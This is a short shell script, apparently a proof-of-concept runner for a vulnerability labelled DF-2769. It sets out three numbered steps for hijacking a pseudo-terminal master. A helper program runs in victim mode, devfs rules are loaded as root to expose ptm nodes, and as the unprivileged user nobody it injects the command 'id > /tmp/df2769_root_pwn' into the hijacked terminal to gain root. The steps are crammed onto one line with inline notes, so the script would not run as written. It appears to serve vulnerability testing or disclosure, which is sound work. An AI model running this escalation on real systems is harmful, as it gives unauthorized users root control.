#!/bin/sh
# DF-2769 run (see VERDICT.md for preconditions)
cd "$(dirname "$0")"
1) /tmp/pty_master_hijack victim &   (prints UNIT=/dev/pts/N; parent closes master at t+1s, SIGHUP-immune session survives)  2) printf 'show\tptm\nshow\tptm/*\n' > rules; devfsctl -a -m /dev -f rules   (root; models jail/devfs.conf show rulesets)  3) echo 'id > /tmp/df2769_root_pwn' > /tmp/df2769_cmd; su -m nobody -c "/tmp/pty_master_hijack attack $UNIT /tmp/df2769_cmd"